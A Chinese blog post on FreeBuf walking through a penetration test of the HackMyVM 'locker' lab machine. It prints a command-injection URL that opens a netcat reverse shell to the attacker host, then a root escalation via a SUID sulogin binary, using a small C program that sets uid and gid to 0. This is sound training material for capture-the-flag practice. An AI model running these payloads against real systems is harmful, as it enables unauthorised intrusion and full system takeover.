freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次hackmyvm综合靶场的渗透测试-locker
知非 2022-04-09 09:38:31 104497
所属地 黑龙江省

前言

本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!

信息收集阶段

KALI攻击机地址:192.168.1.128

靶机地址:192.168.1.140

目标:root.txt和user.txt

nmap -A -p1-65535 192.168.1.140

1649467859_6250e1d372b7d42e298ca.png!small?1649467862066

漏洞利用阶段

开放了80端口:访问下看看!

http://192.168.1.140/

1649467862_6250e1d600b80fb26080f.png!small?1649467864435

查看下源代码!

1649467868_6250e1dca2e253a410cc7.png!small?1649467871026

点击链接后,有一张图!

http://192.168.1.140/locker.php?image=1

1649467874_6250e1e281948b879c3b6.png!small?1649467877024

然后,我们修改数值时,比如

http://192.168.1.140/locker.php?image=2

1649467880_6250e1e8cfdd699ee979e.png!small?1649467883254

http://192.168.1.140/locker.php?image=3

1649467886_6250e1eee47fd661fad2f.png!small?1649467889411

数字改为4以后,图片就显示不出来了!

http://192.168.1.140/locker.php?image=4

1649467893_6250e1f5964372066a07b.png!small?1649467896015

这个数字是可控变量!

经核查,链接存在命令执行漏洞!

view-source:http://192.168.1.140/locker.php?image=;pwd;

这里,我们直接用链接反弹shell!

view-source:http://192.168.1.140/locker.php?image=;nc%20192.168.1.128%204444%20-e%20/bin/bash;

1649467952_6250e230f20b4b596805c.png!small?1649467955362

切换反弹shell为交互shell!!!

python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm

这里,我们需要把当前用户提升到以下两个账户的权限:

1649467960_6250e2386bd521b66c337.png!small?1649467962835

权限提升阶段

老样子:sudo -l 和suid查询走起:

sulogin这个程序很可疑!

1649467966_6250e23e3176767e82c1c.png!small?1649467968706

执行下看看!Root账户在锁定,让我们查看sulogin的帮助页面:

1649467981_6250e24d550876e9952a1.png!small?1649467983756

man sulogin

1649467991_6250e257b24f596116892.png!small?1649467994108

当系统进入单用户模式时,初始化时会调用sulogin。

1649467997_6250e25d80cdf439609d4.png!small?1649468000006

提供root密码用于系统维护。

如果root账户被锁定了,可以使用--force参数,就不需要密码。

1649468009_6250e269c41f1c0bb4b5a.png!small?1649468012268

这个帮助信息也非常重要:

1649468017_6250e27119642cc334990.png!small?1649468019586

环境变量:

sulogin寻找环境变量SUSHELL或者sushell去判断启用那个shell。如果环境变量未设置,它就会去从/etc/passwd中执行root的shell。如果失败,它会退出到/bin/sh中。

sulogin -e

1649468024_6250e27852d31b4a67bf1.png!small?1649468026747

所以这个要新建这个环境变量,并建立一个假的shell!

新建一个C的程序去设置uid和gid为0,即root的信息,然后用system命令执行/bin/bash!

代码如下:fakeshell.c

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

int main(void)

{

setuid(0);

setgid(0);

system("/bin/bash");

}

编译并把它放到目标主机上!

gcc -o fakeshell fakeshell.c

1649468069_6250e2a551e19bdbe09e2.png!small?1649468071783

1649468074_6250e2aa58dba47307e3c.png!small?1649468076790

接着需要在目标主机修改环境变量:

cd /tmp

echo $SUSHELL

export SUSHELL=/tmp/fakeshell

chmod +x fakeshell

echo $SUSHELL

1649468086_6250e2b6502e55e309c66.png!small?1649468088730

sulogin -e

1649468094_6250e2be5f5bd03da16d0.png!small?1649468096816

最后flag都出来了!!

# 渗透测试 # web安全 # CTF # 靶场平台 # 靶场实战
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 知非 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
hackmyvm靶场实战
知非 LV.8
这家伙太懒了,还未填写个人描述!
  • 125 文章数
  • 40 关注者
一个月学习通过商用密码测评师的经验分享
2025-01-09
等保2.0之AIX安全计算环境测评指导书
2023-05-10
记一次hackmyvm综合靶场的渗透测试-warez
2022-04-27
文章目录